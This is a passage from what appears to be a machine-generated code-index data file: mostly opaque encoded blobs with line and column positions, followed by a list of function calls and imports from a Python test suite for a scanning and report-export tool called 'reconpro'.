"w?EIkB7GxlnP2}2l@D/SaxgS[oHQcRay[X2wmY*(A+PGmx(v(kt}39/arR^HwmYu}By/JnuVQj6uUKy+wP?=#wO#0?d05%ow*]+FarR^HarR^Hw/%kVmRM:Jx(mMi3lQDlarR^HarR^HaARsty?k:NraQb)a$K6zarR^HarR^HarR!FwP?T9x([R-b4$X6xD!#marR^HarR^H", "ln": 1835, "col": 12, "line": 63 }, { "b": "wJ.kOa$K6zarR^HarR^HarR!qwPIv4x(Ffdz/dYZwfJMiarR^HarR^HarR^HwP?=#wO#0?jT9)3nL-87q:\u003cwGlStfTavYm8o^0}^wN]v\u0026Bzkf1B094^a$K6zarR^HarR^HarR!nB8$]mjTaqUed9HxarR^HarS9uarR^HarR^Hwfs2Tw?FgzuU0\u003eXBsnNBarR^HarR^HB7Gf1e[5*xwPz(:zyuYepdXkRax7Z5mmg2#efFFcb4U}iwmYT*wG\u003eze3jm)#arUiaw/#hbB97=gACO#@zEmA}zdNl(vruj4zyxNqy?taS3lQDlarR^Haz8-VavZ6.wnb{]c\u003c?7tarR^HarR^HarU=uBzLIKb2\u0026b{BrSmyarR^HarR^HarR^HB7GJaA+PSvjTaMNxj@Fu3lQDlarR^HarR^Hay!\u00264wOk}4C%9u[wPI@qed9HxarR^HarR^HarUJtwb", "ln": 2037, "col": 18, "line": 70 }, { "b": "w?EIkB7GxlnP2}2l@D/SaxgS[oHQcRay[X2A+f90wnbE]x(v(kt}39/arR^HwmYu}By/JnuVQj6x\u003cUN(uUaF3z/P@bB7696w*?.iy?taS3lQDlarR^Har\u00260Nq:BqMmJ=n!AbP=saAIjmB.\u003eOhB75V(y\u003cvdmzEWP}wGT]GoDX4!ygQ)%x(v(ix(k59x(mD}zFa2ya%FirarR^HarR^HCwhejaARgiAaS*2wIc.^zdNlSwO(y8A::0lmRMWId06Jyw[=GMa$^}BA+PbfefFFmy?mZ1jW@\u003c@B7D^yvriM6iTM#LarR^HarR^HarU=yAbYlcxDPCXw?E$fzdK4%arR^HarR!GA^oXMarR^HarR^HarR^HwmoN*", "ln": 2592, "col": 12, "line": 90 }, { "b": "x(Ffdz/c:War\u0026J/awU(TcOV#icOV!@3lQDlarR^HarR^HarR^HarR^Har\u003exux\u003eg^)v}u\u0026Bar\u003c/XnL-87q:\u003cwGlStgEvrlHlz/PwhmP92RaA.:pA=SAQ3lQDlarR^HarR^HarR^HarR^Har\u003elnB7GCqiV]R1y\u0026r%2zxZRsarR^HarR^HarR^HarR^HarR^Hb5?EmzGG@bwmYp]v@#o)b03\u00265fF0LNarR^HarR^HarR^HarR!Pt}us9arR^HarR^HarR^HarR^JzeS%cy?mV{A=(mziV}SJvrDW9b3=-barR^HarR^HarR^HarR^Hb6dsswD", "ln": 3231, "col": 27, "line": 106 }, { "b": "auZ\u0026UCYmOwByf8$A+PblwmoN*efG4KAbYlcxEKoharR^HarR^HarR!Jx([2hz/xo9d0frBAa9\u003c4diJ5uaz9UwarR^HarR^HarR^HarR^HB7696w/%kVyiarhe]kDmwgh4s3lQDlarR^HarR^HaAIagw?EIkB7GxlnP2}2l@D/SaxgS[oHQcRaAH$ix\u003eyM[A=(nvb3!zbu0wH[wPJ0gBAnTitqft!b5H[jB75Y)b3!y%By/Ysb3=S8arR^HarR^Hw[=c\u003ey\u00261wT3lQDlarR^HarR^HaA8rNB-82fzFHUxze:D5Bz99g3jn12\u0026/[#MLZ\u003c(Uq=s!!lVN9^B1Hs8By=N[v@=p5BzkS9diNSmFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ\u003c8F3s^)XB8@E6wPI@}q=uO9xl4N8B7]Mgd0oAwBAz8nBs{K7B96=TB7D^Y3lQDlar\u00260Nsw@cvx(k4.x(mD}zF78lx([f5efFFmB7ol8Acb/jzy=]wC4\u003eF#zEWl2w[+*)wofvEa%Ev3arR^HwmYu}By/JnuWcTkuUKy+Bzk\u0026kwHIRhy?taS3lQDlarR^Haz8-VavZ6.wnb{]c\u003c?7tarR^HarR^HarU=uBzLIKb0o{RA+PGmk4ensA=-YSsw@cCdlGn8v@=p5BuQ)13lQDlarR^HarR^HaAIaqwPzHbC%9u+x\u003eI96ed9HxarR^HarR^H", "ln": 3549, "col": 17, "line": 114 }, { "b": "arR^HarR^HwmY*(A+PGmx(v(Lb0oNRxcqnov)b5Vz/fcbA=k$YvqGH}Bsn\u003c)j%zJ+arR^HarR^HarR^HwP?=#wO#0?jT90$z!aboz/fxfvpRJfy?mTec)@a}qZT1Ta$K6zarR^HarR^HarR!nB8$]mjT8K#vp%c}ed9HxarR^HarS9uarR^HarR^Hwfs2Tw?FgzuU0\u003eXBsnNBarR^HarR^HB7Gf1e[5*xwPz(:zyuX\u003eB7ol8Acan/efFFcb6mKvy?j!@dgcz8arR!qwO96bwPI%2CYN}kx(mo*wPIv4x(Ffdz/c$AwO+%ciTM#LarR^HarUnsjS)jdzE^E0xda9farR^HarR^HarR!Gx([f5jTa0bqY]4JB95PS3lQDlarR^HarR^HaAIaqwPzHbC%9u+x\u003eI96ed9HxarQ", "ln": 4266, "col": 5, "line": 134 }, { "b": "z!0{bwO#Pxv@Dp3x\u003eoyWB7ol8Acan/ed9HxarR^HarR^HarUlsx\u003eg^)v}v!EwG\u0026VjarR^HarR^HarR^HvrlH3BuH*Ra$K6zarR^HarR^Q3lQDlarR^Hay(PTaz9lFz^N3?v@%aF3lQDlarR^HaAIagw?EIkB7GxlnP2}2jAC1Mx(FeTa$K\u003cEtoWP?B7ol8Acb/jzx-vn3jm)#arUiaw/#hbB97=lB8$Y5zEl%#x\u003eg^)v}v6fwO+%ciTM#LarR^HarUnsjS)jdzE^E0xda9farR^HarR^HarR!Gx([f5jT9\u003cpB95PS3lQDlarR^HarR^HaAIaqwPzHbC%9u=zF0/hed9HxarR^HarQ", "ln": 4682, "col": 35, "line": 147 }, { "b": "aA8jgzyxQzAbYlcxEL6jB0b6Q3lQDlarR^HarR^HarR^Hay/tcBy/uiauZ\u0026Ve]\u003eJiwge(larR^HarR^HarR^HboPM}az\u003eLcyH?vczy=]Kv@=p5BrCWlxlbhpxM53fwftr1AaJD#ayPslBy/YsefF?GBrCdtwN/\u003e8wEoL5arR^HarR^HarU-py?tqdB8}", "ln": 6108, "col": 17, "line": 190 }, { "b": "w*]+FarR^HarR^Ha%Fjcl}epEnk@qSdiJhDAbP=saAIjmB.\u003eOhv@DmbvqfQ4BzbkdBy/YsayYFnaz#atayYw5vqv0bBAhIlBAIRne*qF-3lQDlarR^HaA}KwxDRzdze:93y?kj]vqPN^raP]=z/PobC$8H:wHIRxw[C+4jT8H$wm^2pay]51wPRF", "ln": 6368, "col": 35, "line": 197 }, { "b": "arR^HB7Gf1e[5*xwPz((A=\u003e}wv@DmbwO#PxB98CpA40d/B97\u0026hBAqUuBz96DjrW9*lSvh+miDn=zeqxWdjCPDarR^HarR!sx(mu}y\u003cw5GarR^HarR^HarR^Hz/WKNzFT38yBBpwAbYlcxEKn}3l{XMLZ}+TFfmV%Bz8^@A::c5A=UV9aMwSo\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFc(R\u003cv@bN{B0aB[B97k!BzaS]vrMj5B75(.wOl3{B8#5lzyxTBx([DdB963lwPI@Xvrl0eiTM#LarR\u003cLb2zY\u0026xDRzqvrMj5B75(cx(k5iB-.OBByeS]y?j-dvrug7e*qF-3jm)#arUiaw/#hbB97=dvruf\u0026BAg/kwPz\u003c2y*Q)]uUaF3z/P}FB7Gf1dlm!UarR^HarR^Ja%GE2AbP=saAIjmB.\u003eOhCxdztwGV8kaARpdaAz4kB.bSowN({5vruflaz2.czxKdqBz8!sA::c5A=UV9e*qF-3lQDlarR^HaA}KwxDRzdze:93y?kj#wO(y8A::0ll${WMv@#TfC{\u003e9:vriMkze:31AYKKIarR^HarR^HarR^Kaw=G*xDRzqvrMj5B75(cvruQ5ze:O7arR^HarR^HarR^HBAg/kwPz\u003c2y*Rc\u0026Bz8^WaA8rNAa9\u003c4e]2rszyxQzAaAW6efDb?e*q??b5.QCAclmPyiarha$i\u003cwarR^HarR^HarR!GA::c5A=UV9uVoB}xDPCXz/WKIvrufnvpBp%vrufhBAg/kwPz\u003c2y*Rc\u0026Bz99garR^HarR^HarR^HwmoN*auZ\u0026]b6mmlxjVfeiV]R*", "ln": 7367, "col": 9, "line": 223 }, { "b": "wGV28B8L(rwN({5vrue\u0026arR^HarR^HarR^HarR^HB7Gf1e[5*xwPz((A=\u003e}wz/WKIvrufnwQ4{gBAn\u003cHvrufidgdguarR^HarR^HarR^HarUPze{h5Fx(mYmAa9\u003c4dgdguarR^HarR^HarUluv}xR3avQJ+wPh:9z/dPyarR^HarR^HarR^HarR^HAa9*earR)KnOf8=wOL^^By!#laARp9BshbLvqH16ayO+\u0026wPh:1vR/P.3lQDlay]4}aARgoBye#}Bzb36A::c5A=UV9uW3jaxKtp*ByYrid05%ow*]+FarR^HarR^Ha%Fj0z/]J9wI4ChBrCpnaAg+hxDRwfz/](bayX[8", "ln": 8309, "col": 47, "line": 243 }, { "b": "dgdguarR^HarR^HarUluv}xR3avQJ+wPh:9z/dPyarR^HarR^HarR^HarR^HAa9*e3jma+aMwSo\u0026/[%olVl*UvqYP#nP5oOv@#B6zxN@6Fz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z3jmbIy*?yaaxh][Bvf$-zddr)nP5oOv@#B6zC\u003e4UA+frkx(v(qB-7]nBy/Jne(Vz6BvfFTwHPUEarR^Ha%Fi#z/6u1zE:(7zFA-)BzkVhazCZoByxi5wPP5oBAh8kxlbWHa%Ev3arR^HwmYu}By/JnuT[1\u003ezddr)uUKy)wN/*@z/e{5wOL^^By!#\u0026vThs7vqGT*vru6eB7Gf1dlm!UarR^HarR!Cvr(WcvpTB4jS)@oarR^HarR^HarR^Hb4V1cze:r5e[n*pj0n3wBrAkFByM$yvrlHlwfJMiarR^HarR^HarR^Hb4V1cze:r5e[n*pasnATA+#{JA+lBEa$K6zarR^HarR^HarR^JwQ4T2Abo8rv@DibD)0SDz^^G%a$K6zarR^HarR^HarR^JwQ4T2Abo8rv@Di(x\u003egP}ed9HxarR^HarR^HarR\u003etCWUDdy?kkez/3:FCw7]6zd$Byed9HxarR^HarR^HarR\u003etCWUDdy?kkez/3Qzaz#mpz/oAlA3e.nx(2ziz/3WH3lQDlarR^Haybr%arR^HarR!sz/M$tvr(WcvpQG{zxJ[bD2dzcwof^sarR^HarR^HarR^HC42i3wgO\u003cuB7VQUaA?gfx\u003egT]wNxK/A+w%9c#-Quy\u0026r-)dgdguarR^HarR^HarUxgar\u0026(\u003eazCZoAaa3dz^^f0z/M%AD)e", "ln": 8917, "col": 31, "line": 257 }, { "b": "wftP7ygQ)%x(v(iByxi5wPR#Ca%FirarR^HarR^Hw].*baA.NoBAz8nBs}AGv@0i3ze:AlBrCKhByO$\u003earR^HarR^HAaa3dz^^f$auZ\u0026K3lQDlarR^HarR^Har\u003exwvqP$1wIdFhz95\u003eOwfJMiarR^HarR^HarR^Hb4V1cze:r5e[n*paBCqwvrrRBwPRAnB7!#)z*9xR3lQDlarR^Haybr%arR^HarR!sz/M$tvr(WcvpQG{zxJ[bD2dzcwof^sarR^HarR^HarR^HCwhejaAIagw?EIkB7GxlqEKoXwPGn2vqH6$mriA!AW:3RarR^HarR^HarR^HarR^HB7nS@c#-Quy\u0026r-)dgcz8arQ", "ln": 9966, "col": 53, "line": 283 }, { "b": "A::35aA8cux(mV%v@#B6zxK1xA+PA7B1OTXa{]CnarR^HarUSiD2dzcwoe\u003eRax]f}arR^HarR^HarR^JxMOuniXJc$CWUDdy?kkez/4NIwfJMiarR^HarR^HarR^Hb4#7uAc15[fj/xpze:r5e[n*pE0omxvqPZiAa9\u003c4a$K6zarR^HarR^HarR^JwQ4T2Abo8rv@Di(v@k::a$K6zarR^HarR!j3lQDlarR^HazbLjaAg+my\u0026r-)azCZoAaa3dz^^f$iTM#LarR^HarR^HarUYoB9hqvauZ\u0026UCYW$mv@#6\u003ez/Z1GAaa3dz^^f93lQDlarR^HarR^Har@1cxM53fwft]7BAIRwayMygz/ddrze:PxaAE", "ln": 10338, "col": 37, "line": 294 }, { "b": "zEWlaA+frmy\u0026?iJB98BK3jma+aMwSo\u0026/[%opiyw?avpu}wGTMZygQ)%x(v(i\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z3jmbIy*?yaaxh][Bwu%{y^Jz?wL3=OwN/*@z/c$CzFsimwPI@CraQb)lT+4Edlm!UarR^Ja%G^8y?$k6D30Qux(mV%v@#B6zxJUhayP85aAITBx(mMax(m)jBAo5Ua%Ev3arR^HwmYu}By/JnuV715y*Q)]uVZ17y?k2owO+%ciTM#LarR^HarUnsjS)jdzE^E0xda9farR^HarR^HarR!Gx([f5jTa#VB97VifFE6Yx(1$A3lQDlarR^HarR^HaAIaqwPzHbC%9u+x\u003eI96ed9HxarR^HarR^HarUf5By/96A^o!(By/Jna$J", "ln": 10680, "col": 31, "line": 303 }, { "b": "arR^HarR!zz!a0bwJ.kOa$K6zarR^HarR^HarR!qwPIv4x(Ffdz/dYZwfJMiarR^HarR^HarR^HwP?=#wO#0?jTaDXx\u003eg^)v}w[\u0026fFEP?B-7X$By!#bed9HxarR^HarR^HarU9lB7GCRb4hVD3lQDlarR^HasNTuarR^HarR!qauZ\u0026Ve{82swnbK}c[bGCarR^HarR!FwO+%hvrlH3A=:(]nP1", "ln": 11461, "col": 6, "line": 330 }, { "b": "arR^HarR^HCwhejaARgiAaS*2wIc.^zdNlSwO(y8A::0lmRMWId06Jyw[=GMa$^RKz/c:Iay]51wPRGDmQZaOwHO:gB0b6Q3lQDlarR^HarR^HaAREtAa9\u003c4auZ\u0026Ve]C9mwEoL5arR^HarU=DC@=oParR^HarR^HarR!qvrt{2jS]7UarR^HarR^HarR^", "ln": 12110, "col": 1, "line": 353 }, { "b": "AbYlcxEKn}3l{XMLZ}+TFfm\u003cfx\u003e86(wGT-^A=2l3x)Kifx(v(il3diSv@3cd\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[%23jpoVvrlGjraQb)rC(IXz!9AOz/PY6y?Xi7BzkVhqE%GYwPI{bz/c$CzFsimwPI@CraQb)lT+4Edlm!UarR^Ja%H38x\u003e86(wGU(eA=2l3x)Kifx(v(ivruQ1v@3cdx(k5nvrc0(BrCTDA+PA7B1OTXa{[V1arR!qwO96bwPI%2w{4{aCwgPfxKtm.vrcAqB7Gf1dlm!UarR^HarR^Ja%GH0y\u00261rfwoqGcrC(IXz!9A4v}U", "ln": 12641, "col": 25, "line": 368 }, { "b": "3lQDlarR^Har\u00260Nt4I.)eQ7]tBz8!bxKL{\u0026v@#p5B0bgmaAR4jxjVfqa%FirarR^HarR^HByxi5wPP4Tar\u003exwvqP$1wN6EnfFD@*v@DidarR)Kt4I.)eQ7]tBz8!rAa9l/3lQDlarR^HaA?gfx\u003ee+qzf6tjjS[]Ry?WA*By!*3vrc0(BsqltA+w%9dgdguarR^HarU-py?tqdB8$]kBv*KBzGx]dzEWlaC42i3wgO\u003cjz/oCv3jm)#arUiaw=", "ln": 13231, "col": 37, "line": 384 }, { "b": "tm8F}arR^HarR^HarR\u003ewBAzFyiXJeEZkI35H+rBYa$K6zarR^HarR^HarR^JxMOuniXJd6.[o\u003e%xK#6lwmWAkvrufbed9HxarR^HarR^HarR\u003ewBAzFyiXJeEZkI9PKs]X6I%dvfa$K6zarR^HarR!j3lQDlarR^HazbLjaAO-uzxK4fA+w%9B2\u003cTJarR^HarR^HarR!EwPJ0gBrAZ?wQ5rqvpKy^xM4%ld0c)BarR^HarR^HarR^HB7Gf1e[5*xwPz(:B4Hm\u003cByx5%wHIOgB9hqvefG1QAW.t5arQ", "ln": 13543, "col": 19, "line": 392 }, { "b": "Fz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z3jmbIy*?yaaxh][Bv7aZw[u0UC4CYay\u0026sI}wOl3{B8#5lzyxTBx([DdB963lwPI@Xvrl0eiTM#LarR\u003cLb35n}C{3{wzF78kBAh8kxlbhpxM53fwftt)azth3wnC*/azk.6v}xm{y\u00261wHa%Fir3lQDlay]4}aARgoByfi5A^q2dz/fh{Bzk\u0026kwHIRhy?taS3lQDlarR^HaARsty?j.Lar\u003c8}asXG*fFCgmfBw{BarR^HarUnsjS)jdzE^E0xda9farR^HarR^HarR!Gx([f5j-\u003eyWy?kd8arR^HarR^HarR^HB7GJaA+PSvjTaPTw]w\u003eA3lQDlarR^HarR^Hay!\u00264wOk}4C%9u[wPI@qed9HxarR^HarR^HarUJtwozZ1jTa.!ec", "ln": 14084, "col": 105, "line": 407 }, { "b": "arR^HarR^Hb4kLlwPPaSar\u003ekrefDcQz!T9hB6\u0026D?wozy7wN(#CatwiJarR^HarR^HarR^HarR^HarR^Hw]zYjx=}bcaAy[dxjSFCfFB{.arR^HarR^HarR^HarR^Ht}us9arR^HarR^HarR^HarR^JzeS%cy?mV{A=(mziV}SJz6Amp3lQDlarR^HarR^HarR^Har\u003e(rC4CYdBA}k6z/]@tB0rT/DM)fww]w\u003eOatCM7EjLZFarR^HarR^HarR!P3lQDlarQ", "ln": 15880, "col": 14, "line": 463 }, { "b": "Bz99g3jn12\u0026/[#MLZ\u003c(MA=l5rBA}?paw=#)y\u0026%\u0026lz/cWCn(FIXazC.jB-Y5P\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z3jmbIy*?yaaxh][BwN0@Bz(nDAaI\u003c:y\u00261lox(v(!wOl3{B8#5lzyxTBx([DdB963lwPI@Xvrl0eiTM#LarR\u003cLb2Aq#Bz(nDAaHehz!%ljBzkVhayPwlwO(ydB0bTuviwfvpFJ3DzG6-ue*qF-3jm)#arUiaw/#hbB97=dA=l5rBA}?puU:j#uUKy+yiarhuUaF3z/P}FB7Gf1dlm!UarR^HarR^Ja%GSTpFJ3zCYmOwBn", "ln": 16228, "col": 28, "line": 472 }, { "b": "fF0LNarR^HarR^HarR!Pt}us9arR^HarR!P3lQDlarR^HazL$ozEmEbAV^H/yiarhe[x9wAc0Brvrt{b3lQDlarR^Haz+$8wmYo]jS[GXz/dgzz^^f$c#9*wzEmEbAW.trarR^HarR!FwO+%hvrlH3A=:-\u0026BZY8my\u0026r-)wN]0?Byxi5wPPb4efDcUwPI@Cv@Diddgcy?boV0gFz#/zawtf?p-@tEygQ)%x(v(i\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFc(R\u003cv@bN{B0aB[B978zk#pc\u003cygQ)%x(v(!wOl3{B8#5lzyxTBx([DdB963lwPI@Xvrl0eiTM#LarR\u003cLb1$x\u003cp-%E\u0026ygQ)%x(v(iAa9\u003cgwPzWfazCZoByxi5wD", "ln": 18030, "col": 36, "line": 525 }, { "b": "woe\u003eRax]f}arR^HarR^HarR^JwQ4T2Abo8rv@Dikd0olmjT})fd10B=x\u003efvRa$K6zarR^HarR^HarR^JvpTj?zyD#Yc#-QoB9zLywizy\u003ediZqIarR^HarR^HarR^Ha$t2\u0026v@sBVdjDV)c$vcTdK3zJarR^HarR^Ht).X%arR^HarUomAV/sfD2dzcwftP7aAg+my\u0026r-)B2\u003cTJarR^HarR^HarR!IvqGT*efF!JxcotWC42i3wmoN\u003euJ", "ln": 18548, "col": 15, "line": 540 }, { "b": "wfJMiarR^HarR^HarR^HwP?=#wO#0?jTSuRCX}mtC4CYnx(v(La#7Y7b0OmNaW/9[r9r3^azbLgax{@Kmnu/Nr9pt*CX50@sYno*o=$S(x(4uwfe1$\u0026ByM$yvrlHlwfKiy", "ln": 19512, "col": 26, "line": 567 }, { "b": "z/Qa^b6myqBrSmyarR^HarR^HarR^HzeS%cy?k:NA+e:0zD}i!zDFFZzFA-)By!#zaARTDwG\u0026VjarR^HarR^HarR^HwmY*(A+PGmx(v(Lb4I(G3lQDlarR^HarR^Hao", "ln": 21153, "col": 18, "line": 612 }, { "b": "arR^HarR!Gx([f5jT9\u003cpB95PS3lQDlarR^HarR^HaAIaqwPzHbC%9u=zF0/hed9HxarR^HarR^HarUf5By/96A^o!(By/Jna$K6zarR^HarR^HarR!zz!a0bwJ.kOa$K6zarR^HarR^HarR!qwPIv4x(Ffdz/dYZbZTozwna8vwmoBrfe3)Wx(2ziz/4dsCYmFqx([+Eed9HxarR^HarR^HarUlsx\u003eg^)v}v!EbZTozwna8Bzd#3:fj/rvy+xjoz7/*pyjdoS3lQDlarR^HarR^HayPtjwPQ6VviNlfarR^HarR^HdgdguarR^HarUhqjS[t?Bz\u003eI%x\u003e8lkdgdguarR^HarU-py?tqdB8$]kBv*u#a%.IIzE^Dxa$K\u003cEtoWP?B7ol8Acb/jzx-vn3jma+aMwSo\u0026/[%oraP]=y*?A%aw3D=wN/*@z/cYSLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+TFz#/z\u0026/[#MLZ}+T", "ln": 23544, "col": 6, "line": 685 }, { "b": "jTaCYed9HxarR^HarR^HarU9lB7GCRb4hVD3lQDlarR^HarR^HaAz4gwN]H-BzkVhjTbl1ay/tcw[+)gB7F\u003c4wPRo{wQbzDEiHiHarR^HarR^HdgdguarR^HarUhqjS[t?Bz\u003eI%x\u003e8lkdgdguarR^HarU-py?tqdB8$]kBv*u#b71UVv@Dl%x\u003eFRvay[X2A+f90wnbE]x(v(kt}39/arR^HwmYu}By/JnuUTp)yge(8x(mo#wO(0?x\u003c(9$z/b", "ln": 24386, "col": 21, "line": 710 }, { "b": "arR^HarR^HarU9lB7GCRb4hVD3lQDlarR^HarR^HaAz4gwN]H-BzkVhjTbk0azbLjaB22yzxJCczF0P}e[]Aszf49OashC.DMWLQEslC*az2C3w]zYjc4c%*3lQDlarR^HasNTuarR^HarR!qauZ\u0026Ve{82swnbK}c[bGCarR^HarR!FwO+%hvrlH3A=:(\u003cc)w", "ln": 24782, "col": 3, "line": 725 } ], "depth": 1, "facts": { "imp": [ [ "", "sys.path.insert" ], [ "", "os.path.join" ], [ "", "os.path.dirname" ], [ "", "Finding" ], [ "", "f.to_dict" ], [ "", "self.assertIn" ], [ "", "Finding" ], [ "", "f.to_dict" ], [ "", "self.assertIn" ], [ "", "Finding" ], [ "", "f.to_dict" ], [ "", "self.assertIn" ], [ "", "Finding" ], [ "", "f.to_dict" ], [ "", "self.assertIn" ], [ "", "tempfile.NamedTemporaryFile" ], [ "", "export_sarif" ], [ "", "open" ], [ "", "json.load" ], [ "", "self.assertIn" ], [ "", "os.unlink" ], [ "", "Finding" ], [ "", "f.to_dict" ], [ "", "self.assertIn" ], [ "", "Finding" ], [ "", "f.to_dict" ], [ "", "self.assertIn" ], [ "", "Finding" ], [ "", "f.to_dict" ], [ "", "self.assertIn" ], [ "", "tempfile.NamedTemporaryFile" ], [ "", "export_markdown" ], [ "", "open" ], [ "", "f.read" ], [ "", "self.assertIn" ], [ "", "os.unlink" ], [ "", "tempfile.NamedTemporaryFile" ], [ "", "export_pdf" ], [ "", "open" ], [ "", "f.read" ], [ "", "self.assertTrue" ], [ "", "content.strip.startswith" ], [ "", "content.strip" ], [ "", "os.unlink" ], [ "", "tempfile.TemporaryDirectory" ], [ "", "os.path.join" ], [ "", "os.path.abspath" ], [ "", "export_json" ], [ "", "self.assertTrue" ], [ "", "os.path.exists" ], [ "", "os.unlink" ], [ "", "tempfile.TemporaryDirectory" ], [ "", "os.path.join" ], [ "", "export_json" ], [ "", "self.assertTrue" ], [ "", "os.path.exists" ], [ "", "os.unlink" ], [ "", "validate_target" ], [ "", "self.assertFalse" ], [ "", "self.assertRaises" ], [ "", "scan" ], [ "", "extract_host" ], [ "", "self.assertIsInstance" ], [ "", "Finding" ], [ "", "f.to_dict" ], [ "", "self.assertIn" ], [ "", "Finding" ], [ "", "f.to_dict" ], [ "", "self.assertIsInstance" ], [ "", "Finding" ], [ "", "f.to_dict" ], [ "", "self.assertIsInstance" ], [ "", "tempfile.NamedTemporaryFile" ], [ "", "export_json" ], [ "", "self.assertTrue" ], [ "", "os.path.exists" ], [ "", "os.unlink" ], [ "", "validate_target" ], [ "", "self.assertIsInstance" ], [ "", "validate_target" ], [ "", "self.assertIsInstance" ], [ "", "extract_host" ], [ "", "self.assertIsInstance" ], [ "", "normalize_base_url" ], [ "", "self.assertTrue" ], [ "", "result.startswith" ], [ "", "Finding" ], [ "", "f.to_dict" ], [ "", "self.assertEqual" ], [ "", "len" ], [ "", "Finding" ], [ "", "f.to_dict" ], [ "", "self.assertEqual" ], [ "", "len" ], [ "", "validate_target" ], [ "", "self.assertFalse" ], [ "", "truncate" ], [ "", "self.assertEqual" ], [ "", "len" ], [ "", "tempfile.NamedTemporaryFile" ], [ "", "range" ], [ "", "export_json" ], [ "", "self.assertTrue" ], [ "", "os.path.exists" ], [ "", "os.unlink" ], [ "", "tempfile.NamedTemporaryFile" ], [ "", "export_json" ], [ "", "open" ], [ "", "json.load" ], [ "", "self.assertIn" ], [ "", "os.unlink" ], [ "", "Finding" ], [ "", "f.to_dict" ], [ "", "self.assertNotIn" ], [ "", "json.dumps" ], [ "", "json.loads" ], [ "", "self.assertEqual" ], [ "", "validate_target" ], [ "", "self.assertIsInstance" ], [ "", "extract_host" ], [ "", "self.assertIsInstance" ], [ "", "Finding" ], [ "", "f.to_dict" ], [ "", "self.assertIn" ], [ "", "tempfile.NamedTemporaryFile" ], [ "", "export_json" ], [ "", "open" ], [ "", "json.load" ], [ "", "self.assertIn" ], [ "", "os.unlink" ], [ "", "Finding" ], [ "", "f.to_dict" ], [ "", "self.assertIn" ], [ "", "tempfile.NamedTemporaryFile" ], [ "", "export_sarif" ], [ "", "self.assertTrue" ], [ "", "os.path.exists" ], [ "", "os.unlink" ], [ "", "Finding" ], [ "", "f.to_dict" ], [ "", "self.assertIn" ], [ "", "Finding" ], [ "", "f.to_dict" ], [ "", "self.assertIn" ], [ "", "Finding" ], [ "", "f.to_dict" ], [ "", "self.assertIn" ], [ "", "Finding" ], [ "", "f.to_dict" ], [ "", "self.assertIn" ], [ "", "Finding" ], [ "", "f.to_dict" ], [ "", "self.assertIn" ], [ "", "tempfile.NamedTemporaryFile" ], [ "", "export_json" ], [ "", "open" ], [ "", "json.load" ], [ "", "self.assertIn" ], [ "", "os.unlink" ], [ "", "unittest.main" ], [ "", "Finding" ], [ "", "ReconProResult" ], [ "", "compute_score" ], [ "", "count_severities" ], [ "", "entropy" ], [ "", "export_json" ], [ "", "export_markdown" ], [ "", "export_pdf" ], [ "", "export_sarif" ], [ "", "extract_host" ], [ "", "json" ], [ "", "normalize_base_url" ], [ "", "os" ], [ "", "patch" ], [ "", "reconpro.formats" ], [ "", "reconpro.http_layer" ], [ "", "reconpro.scanner" ], [ "", 